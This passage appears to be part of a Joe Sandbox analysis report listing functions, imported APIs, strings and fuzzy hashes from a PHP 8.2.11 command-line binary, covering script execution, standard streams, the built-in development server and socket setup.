sapi_deactivate.PHP8TS ref: 00007FF7498C266F
zend_ini_deactivate.PHP8TS ref: 00007FF7498C2675
open_file_for_scanning.PHP8TS ref: 00007FF7498C2792
zend_strip.PHP8TS ref: 00007FF7498C27A5

Strings

Finished execution, repeating..., xrefs: 00007FF7498C2469
Could not open input file: %s, xrefs: 00007FF7498C2529

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: __acrt_iob_func$_getpid_strdupfflushfprintffreeopen_file_for_scanningphp_printfphp_request_shutdownsapi_deactivatevirtual_cwd_activatevirtual_fopenvirtual_realpathzend_destroy_file_handlezend_ini_deactivatezend_stream_init_fpzend_strip
String ID: Could not open input file: %s$Finished execution, repeating...
API String ID: 1824308970-4259897058
Opcode ID: bc30af71d3d4de4b2f806a6d90d3efcff2e60aa20fa675fa07f5427c5e754180
Instruction ID: f2c02878b89e1c4724183ecb7abce70c16ee5847c248199f941d49e4fe763590
Opcode Fuzzy Hash: bc30af71d3d4de4b2f806a6d90d3efcff2e60aa20fa675fa07f5427c5e754180
Instruction Fuzzy Hash: AD410622A0CB42C6E754BF29E854279B7B8FB44B84F944135DA4E437A8DF3CE864D720

Function 00007FF7498C1900 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 106COMMON

Download Yara Rule

APIs

_php_stream_open_wrapper_ex.PHP8TS ref: 00007FF7498C1932
_php_stream_open_wrapper_ex.PHP8TS ref: 00007FF7498C1954
_php_stream_open_wrapper_ex.PHP8TS ref: 00007FF7498C1976
zend_register_constant.PHP8TS ref: 00007FF7498C1A30
zend_register_constant.PHP8TS ref: 00007FF7498C1A62
zend_register_constant.PHP8TS ref: 00007FF7498C1A94
_php_stream_free.PHP8TS ref: 00007FF7498C1AA4
_php_stream_free.PHP8TS ref: 00007FF7498C1AB7
_php_stream_free.PHP8TS ref: 00007FF7498C1ACA

Strings

php://stdin, xrefs: 00007FF7498C192B
php://stderr, xrefs: 00007FF7498C196C
STDOUT, xrefs: 00007FF7498C1A3D
STDERR, xrefs: 00007FF7498C1A6F
STDIN, xrefs: 00007FF7498C19C2
php://stdout, xrefs: 00007FF7498C194A

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: _php_stream_free_php_stream_open_wrapper_exzend_register_constant
String ID: STDERR$STDIN$STDOUT$php://stderr$php://stdin$php://stdout
API String ID: 3934693553-2640790700
Opcode ID: 4267e5853ad279fd12b8117adbdccc7bc263f0a3bc04d57c20377e3dce11e3d5
Instruction ID: 4b0a005ae61ac840a655d7641e20ec903cc6de3b459e4d6d27fa4125fda07175
Opcode Fuzzy Hash: 4267e5853ad279fd12b8117adbdccc7bc263f0a3bc04d57c20377e3dce11e3d5
Instruction Fuzzy Hash: A7512732A1DB46C2EB50BF19E458A69B7B8FB44B84F844131DA8D03B64DF7CE469CB10

Function 00007FF7498C32A0 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

sapi_startup.PHP8TS ref: 00007FF7498C32E6
php_ini_builder_prepend.PHP8TS ref: 00007FF7498C331F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C34CC
php_module_shutdown.PHP8TS ref: 00007FF7498C34E2
sapi_shutdown.PHP8TS ref: 00007FF7498C34ED
tsrm_shutdown.PHP8TS ref: 00007FF7498C34F3
php_win32_cp_cli_do_restore.PHP8TS ref: 00007FF7498C34FB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C3513
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C3526
LocalFree.KERNEL32 ref: 00007FF7498C3530
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7498C3546

Strings

html_errors=0register_argc_argv=1implicit_flush=1output_buffering=0max_execution_time=0max_input_time=-1, xrefs: 00007FF7498C3314

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: free$FreeLocalexitphp_ini_builder_prependphp_module_shutdownphp_win32_cp_cli_do_restoresapi_shutdownsapi_startuptsrm_shutdown
String ID: html_errors=0register_argc_argv=1implicit_flush=1output_buffering=0max_execution_time=0max_input_time=-1
API String ID: 3326966299-87643557
Opcode ID: 4ebc085102a416455d69f64ef736fa800ecfdd36669855039c8035c4adac4222
Instruction ID: 2441d41a8c801c9df337b8ad7de1c948b672992221268988297880afdfb05f25
Opcode Fuzzy Hash: 4ebc085102a416455d69f64ef736fa800ecfdd36669855039c8035c4adac4222
Instruction Fuzzy Hash: 2A41313260D782CAE712BF38E4542ADBBB4FB45B54F844076CA8D47296CF3DA469D720

Function 00007FF7498CBFEC Relevance: 15.1, APIs: 10, Instructions: 102COMMON

Download Yara Rule

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF7498CC000
__scrt_acquire_startup_lock.LIBCMT ref: 00007FF7498CC015
__scrt_release_startup_lock.LIBCMT ref: 00007FF7498CC083
_register_thread_local_exe_atexit_callback.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7498CC0D1
_get_initial_narrow_environment.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7498CC0D6
__p___argv.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7498CC0DE
__p___argc.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7498CC0E6
__scrt_is_managed_app.LIBCMT ref: 00007FF7498CC0FA
_cexit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7498CC108
_exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7498CC162

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: __p___argc__p___argv__scrt_acquire_startup_lock__scrt_initialize_crt__scrt_is_managed_app__scrt_release_startup_lock_cexit_exit_get_initial_narrow_environment_register_thread_local_exe_atexit_callback
String ID:
API String ID: 3019265742-0
Opcode ID: 0b51e11ed76521ded2dc44554ca0a3edc73af59089158bb7bcb4175d26705f2c
Instruction ID: 333af7c6c08cb00ab3b2a598237349fd858ce53a6059f99ee53b6a888b87f945
Opcode Fuzzy Hash: 0b51e11ed76521ded2dc44554ca0a3edc73af59089158bb7bcb4175d26705f2c
Instruction Fuzzy Hash: 06315621A0D342C1EB10BF2DD4113B9E2B9AF66784FC44839EA4D476D3CF2DA4698260

Function 00007FF7498CBF00 Relevance: 4.6, APIs: 3, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7498CC20C: _initialize_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,00007FF7498CBF34), ref: 00007FF7498CC246

_RTC_Initialize.LIBCMT ref: 00007FF7498CBF38
_configthreadlocale.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF7498CBF84
_initialize_narrow_environment.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7498CBF92

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: Initialize_configthreadlocale_initialize_narrow_environment_initialize_onexit_table
String ID:
API String ID: 3623540455-0
Opcode ID: e2ee652f017bb5235b9bb3d929f129e0d50596157e2c27a12bf4c7f9274e1cb4
Instruction ID: 2312fc7f311d7e0d3efb8bceca43e20b7e9eb9564433a58f584ff52687548a6a
Opcode Fuzzy Hash: e2ee652f017bb5235b9bb3d929f129e0d50596157e2c27a12bf4c7f9274e1cb4
Instruction Fuzzy Hash: A9116A11E1C703D5FA587FBD94926B981B88FA1381FC45834E60D976C3EF1CA86986B2

Function 00007FF7498C27E6 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7498C1900: _php_stream_open_wrapper_ex.PHP8TS ref: 00007FF7498C1932
Part of subcall function 00007FF7498C1900: _php_stream_open_wrapper_ex.PHP8TS ref: 00007FF7498C1954
Part of subcall function 00007FF7498C1900: _php_stream_open_wrapper_ex.PHP8TS ref: 00007FF7498C1976
Part of subcall function 00007FF7498C1900: zend_register_constant.PHP8TS ref: 00007FF7498C1A30
Part of subcall function 00007FF7498C1900: zend_register_constant.PHP8TS ref: 00007FF7498C1A62
Part of subcall function 00007FF7498C1900: zend_register_constant.PHP8TS ref: 00007FF7498C1A94

php_execute_script.PHP8TS ref: 00007FF7498C2827

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: _php_stream_open_wrapper_exzend_register_constant$php_execute_script
String ID:
API String ID: 371503814-0
Opcode ID: 81c57e5145dae83e29e8fdc5259998f075271bb271b9ec584aa362c08632d16b
Instruction ID: c456e221186ad2a7aa4bf69831b4f36cc2c93ebca8b1c87f58b4400cb9b5cc6c
Opcode Fuzzy Hash: 81c57e5145dae83e29e8fdc5259998f075271bb271b9ec584aa362c08632d16b
Instruction Fuzzy Hash: 8DE0C965A0DB46C6E714BF29E858679A378FB88B80F940135DA4E427A4CF6CE468D720

Non-executed Functions

Function 00007FF7498C97D0 Relevance: 96.7, APIs: 47, Strings: 8, Instructions: 415stringnetworkCOMMON

Download Yara Rule

APIs

php_getopt.PHP8TS(00000000,00000000,00000000,00000000,?,?,00000001,00007FF7498C3487), ref: 00007FF7498C9845
memmove.VCRUNTIME140 ref: 00007FF7498C988E
php_getopt.PHP8TS ref: 00007FF7498C98FD
php_win32_cp_use_unicode.PHP8TS ref: 00007FF7498C992E
php_win32_cp_conv_ascii_to_w.PHP8TS ref: 00007FF7498C9942
php_win32_cp_conv_utf8_to_w.PHP8TS ref: 00007FF7498C995A
GetACP.KERNEL32 ref: 00007FF7498C9968
php_win32_cp_get_by_id.PHP8TS ref: 00007FF7498C9970
php_win32_cp_conv_to_w.PHP8TS ref: 00007FF7498C9990
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C999D
fprintf.MSPDB140-MSVCRT ref: 00007FF7498C99AD
php_win32_cp_conv_cur_to_w.PHP8TS ref: 00007FF7498C99BC
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C99E8
php_win32_ioutil_normalize_path_w.PHP8TS ref: 00007FF7498C9A05
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C9A13
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C9A1E
php_win32_code_to_errno.PHP8TS ref: 00007FF7498C9A29
SetLastError.KERNEL32 ref: 00007FF7498C9A36
_set_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7498C9A3E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C9A49
fprintf.MSPDB140-MSVCRT ref: 00007FF7498C9A5C
realloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C9A85
wcsncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF7498C9AB5
wcsncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF7498C9ADC
wcsncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF7498C9B03
memmove.VCRUNTIME140 ref: 00007FF7498C9B1D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C9B9F
php_win32_ioutil_stat_ex_w.PHP8TS ref: 00007FF7498C9BCF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C9BDA
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C9BFA
fprintf.MSPDB140-MSVCRT ref: 00007FF7498C9C0D
virtual_realpath.PHP8TS ref: 00007FF7498C9C24
virtual_getcwd.PHP8TS ref: 00007FF7498C9C46
strchr.VCRUNTIME140 ref: 00007FF7498C9CA9
signal.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7498C9D11
memmove.VCRUNTIME140 ref: 00007FF7498C9D5D
memmove.VCRUNTIME140 ref: 00007FF7498C9D76
php_select.PHP8TS ref: 00007FF7498C9DA0
WSAGetLastError.WS2_32 ref: 00007FF7498C9DCD
php_socket_strerror.PHP8TS ref: 00007FF7498C9DF9
_efree@@8.PHP8TS ref: 00007FF7498C9E19
zend_hash_destroy@@8.PHP8TS ref: 00007FF7498C9E26
zend_hash_destroy@@8.PHP8TS ref: 00007FF7498C9E33
closesocket.WS2_32 ref: 00007FF7498C9E46
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C9E58
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C9E6A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C9E7C

Strings

\??\, xrefs: 00007FF7498C9ACF
8.2.11, xrefs: 00007FF7498C9CCA
\\?\UNC\, xrefs: 00007FF7498C9AF6
%s is not a directory., xrefs: 00007FF7498C9C03
PHP %s Development Server (http://%s%s%s:%d) started, xrefs: 00007FF7498C9CEF
Document root path is too long., xrefs: 00007FF7498C99A6
Directory %s does not exist., xrefs: 00007FF7498C9A52
\\?\, xrefs: 00007FF7498C9AA8

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: free$memmove$__acrt_iob_funcfprintfwcsncmp$ErrorLastphp_getoptzend_hash_destroy@@8$_efree@@8_set_errnoclosesocketmallocphp_selectphp_socket_strerrorphp_win32_code_to_errnophp_win32_cp_conv_ascii_to_wphp_win32_cp_conv_cur_to_wphp_win32_cp_conv_to_wphp_win32_cp_conv_utf8_to_wphp_win32_cp_get_by_idphp_win32_cp_use_unicodephp_win32_ioutil_normalize_path_wphp_win32_ioutil_stat_ex_wreallocsignalstrchrvirtual_getcwdvirtual_realpath
String ID: %s is not a directory.$8.2.11$Directory %s does not exist.$Document root path is too long.$PHP %s Development Server (http://%s%s%s:%d) started$\??\$\\?\$\\?\UNC\
API String ID: 3277354628-2852613766
Opcode ID: 8c93954c6ced0220989b0e366829cc54aead6a210609f2b6194a2b8fe6ddaebd
Instruction ID: fd8501b0f698afb0935bb8a3556af6aa88d7627fa40986b7ab0cdf0fd7cc6db1
Opcode Fuzzy Hash: 8c93954c6ced0220989b0e366829cc54aead6a210609f2b6194a2b8fe6ddaebd
Instruction Fuzzy Hash: DC126B61A0CB42C5EB10BF19E8546B9E3B9FB84794FC04136DA4E43AA8DF3DE565C720

Function 00007FF7498C60A0 Relevance: 30.2, APIs: 20, Instructions: 163networkCOMMON

Download Yara Rule

APIs

php_network_getaddresses.PHP8TS ref: 00007FF7498C60DA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C6110
socket.WS2_32 ref: 00007FF7498C6125
closesocket.WS2_32 ref: 00007FF7498C6154
__zend_malloc.PHP8TS ref: 00007FF7498C6164
htons.WS2_32 ref: 00007FF7498C618A
setsockopt.WS2_32 ref: 00007FF7498C61F1
bind.WS2_32 ref: 00007FF7498C6200
WSAGetLastError.WS2_32 ref: 00007FF7498C620F
closesocket.WS2_32 ref: 00007FF7498C6228
listen.WS2_32 ref: 00007FF7498C6251
WSAGetLastError.WS2_32 ref: 00007FF7498C625B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C6270
php_network_freeaddresses.PHP8TS ref: 00007FF7498C6283
closesocket.WS2_32 ref: 00007FF7498C629F
php_socket_error_str.PHP8TS ref: 00007FF7498C62AC
getsockname.WS2_32 ref: 00007FF7498C62ED
htons.WS2_32 ref: 00007FF7498C6312

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: closesocket$ErrorLastfreehtons$__zend_mallocbindgetsocknamelistenphp_network_freeaddressesphp_network_getaddressesphp_socket_error_strsetsockoptsocket
String ID:
API String ID: 218662337-0
Opcode ID: 35c43f8db9ddfd3d81eaef26489d84727e7901e10b2ff3b5887cd490dd5df3d3
Instruction ID: a8e875f28c9e61decfead145d61725781250ee24251c9a7a644aa8bc9432fcd1
Opcode Fuzzy Hash: 35c43f8db9ddfd3d81eaef26489d84727e7901e10b2ff3b5887cd490dd5df3d3
Instruction Fuzzy Hash: F8615E21A0CB46C6E754BF699448239F3B8FB44BA1F848336DA6E477D4EF3C94659320

Function 00007FF7498CC4E4 Relevance: 13.6, APIs: 9, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF7498CC500
memset.VCRUNTIME140 ref: 00007FF7498CC524
RtlCaptureContext.KERNEL32 ref: 00007FF7498CC52D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7498CC547
RtlVirtualUnwind.KERNEL32 ref: 00007FF7498CC588
memset.VCRUNTIME140 ref: 00007FF7498CC5BB
IsDebuggerPresent.KERNEL32 ref: 00007FF7498CC5DC
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7498CC5FD
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7498CC608

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: 3d435e9e628bf398d9dc564d4999422fffc84ae9fc7b77db05bdc8e354c6d876
Instruction ID: 0743c9fd8fb7b17f380e5e44b54e2c00e283f2fe917f4f16e65604ddf57fa4c7
Opcode Fuzzy Hash: 3d435e9e628bf398d9dc564d4999422fffc84ae9fc7b77db05bdc8e354c6d876
Instruction Fuzzy Hash: 06312D72609B81CAEB60BF68E8403E9B374FB94744F844439DA4E47A94DF38D559C720

Function 00007FFE1A528F04 Relevance: 58.1, APIs: 4, Strings: 29, Instructions: 382COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFE1A529475
DName::operator+.LIBVCRUNTIME ref: 00007FFE1A5294AA
DName::operator+.LIBVCRUNTIME ref: 00007FFE1A5294E3

Strings

volatile, xrefs: 00007FFE1A52931B
__int128, xrefs: 00007FFE1A52919C
this , xrefs: 00007FFE1A5293BD
__w64 , xrefs: 00007FFE1A529148
float, xrefs: 00007FFE1A529056
double, xrefs: 00007FFE1A52902A
__int8, xrefs: 00007FFE1A52911E
int, xrefs: 00007FFE1A528FB0
const, xrefs: 00007FFE1A5292D3
signed , xrefs: 00007FFE1A529442
char, xrefs: 00007FFE1A528FD4
auto, xrefs: 00007FFE1A529237
decltype(auto), xrefs: 00007FFE1A52934C
wchar_t, xrefs: 00007FFE1A529396
<unknown>, xrefs: 00007FFE1A529216
bool, xrefs: 00007FFE1A5291CC
char8_t, xrefs: 00007FFE1A529225
unsigned , xrefs: 00007FFE1A529432
long , xrefs: 00007FFE1A529013
long, xrefs: 00007FFE1A528F9E
UNKNOWN, xrefs: 00007FFE1A529378
char16_t, xrefs: 00007FFE1A529204
__int32, xrefs: 00007FFE1A5291BA
char32_t, xrefs: 00007FFE1A5293F7
void, xrefs: 00007FFE1A529068
volatile, xrefs: 00007FFE1A5292EE
__int64, xrefs: 00007FFE1A5291AB
short, xrefs: 00007FFE1A528FC2
__int16, xrefs: 00007FFE1A52910C

Memory Dump Source

Source File: 00000018.00000002.2897264735.00007FFE1A521000.00000020.00000001.01000000.00000011.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000018.00000002.2897224013.00007FFE1A520000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897368952.00007FFE1A536000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897411710.00007FFE1A537000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe1a520000_php.jbxd

Similarity

API ID: Name::operator+
String ID: volatile$<unknown>$UNKNOWN$__int128$__int16$__int32$__int64$__int8$__w64 $auto$bool$char$char16_t$char32_t$char8_t$const$decltype(auto)$double$float$int$long$long $short$signed $this $unsigned $void$volatile$wchar_t
API String ID: 2943138195-1482988683
Opcode ID: fe645fa0cf9fb8fb38c7106db32793c54410b780dee10ccae4a95b5c2ef7be77
Instruction ID: a89f6efa042fb86443de02ee87dcbf44eb1ca99a5f5025516cf15849b101cdb5
Opcode Fuzzy Hash: fe645fa0cf9fb8fb38c7106db32793c54410b780dee10ccae4a95b5c2ef7be77
Instruction Fuzzy Hash: 2B024F72F1CE12D4FB148BA6D4941BC2672BB56BA4F5041FBDA0D52BB8DF38A505C380

Function 00007FF7498C38D0 Relevance: 56.2, APIs: 29, Strings: 3, Instructions: 223COMMON

Download Yara Rule

APIs

php_win32_cp_use_unicode.PHP8TS ref: 00007FF7498C38F0
php_win32_cp_conv_ascii_to_w.PHP8TS ref: 00007FF7498C3903
php_win32_cp_conv_utf8_to_w.PHP8TS ref: 00007FF7498C391A
GetACP.KERNEL32 ref: 00007FF7498C3928
php_win32_cp_get_by_id.PHP8TS ref: 00007FF7498C3930
php_win32_cp_conv_to_w.PHP8TS ref: 00007FF7498C394F
php_win32_cp_conv_cur_to_w.PHP8TS ref: 00007FF7498C3957
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C3987
php_win32_ioutil_normalize_path_w.PHP8TS ref: 00007FF7498C39A1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C39AF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C39B9
php_win32_code_to_errno.PHP8TS ref: 00007FF7498C39C4
SetLastError.KERNEL32 ref: 00007FF7498C39D1
_set_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7498C39D9
realloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C3A0B
wcsncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF7498C3A38
wcsncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF7498C3A5D
wcsncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF7498C3A82
memmove.VCRUNTIME140 ref: 00007FF7498C3A9A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C3B19
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C3B7C
php_win32_code_to_errno.PHP8TS ref: 00007FF7498C3B87
php_win32_ioutil_open_w.PHP8TS ref: 00007FF7498C3BAF
GetLastError.KERNEL32 ref: 00007FF7498C3BBC
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C3BC7
php_win32_code_to_errno.PHP8TS ref: 00007FF7498C3BCF
SetLastError.KERNEL32 ref: 00007FF7498C3BD9
_set_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7498C3BE1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7498C3BFC

Strings

\??\, xrefs: 00007FF7498C3A50
\\?\UNC\, xrefs: 00007FF7498C3A75
\\?\, xrefs: 00007FF7498C3A2B

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: free$ErrorLastphp_win32_code_to_errnowcsncmp$_set_errno$mallocmemmovephp_win32_cp_conv_ascii_to_wphp_win32_cp_conv_cur_to_wphp_win32_cp_conv_to_wphp_win32_cp_conv_utf8_to_wphp_win32_cp_get_by_idphp_win32_cp_use_unicodephp_win32_ioutil_normalize_path_wphp_win32_ioutil_open_wrealloc
String ID: \??\$\\?\$\\?\UNC\
API String ID: 1464380497-3428951470
Opcode ID: 2d54bd63f170202ab04089bff46cbf94a927c3c721595b4fc28526d501e83e49
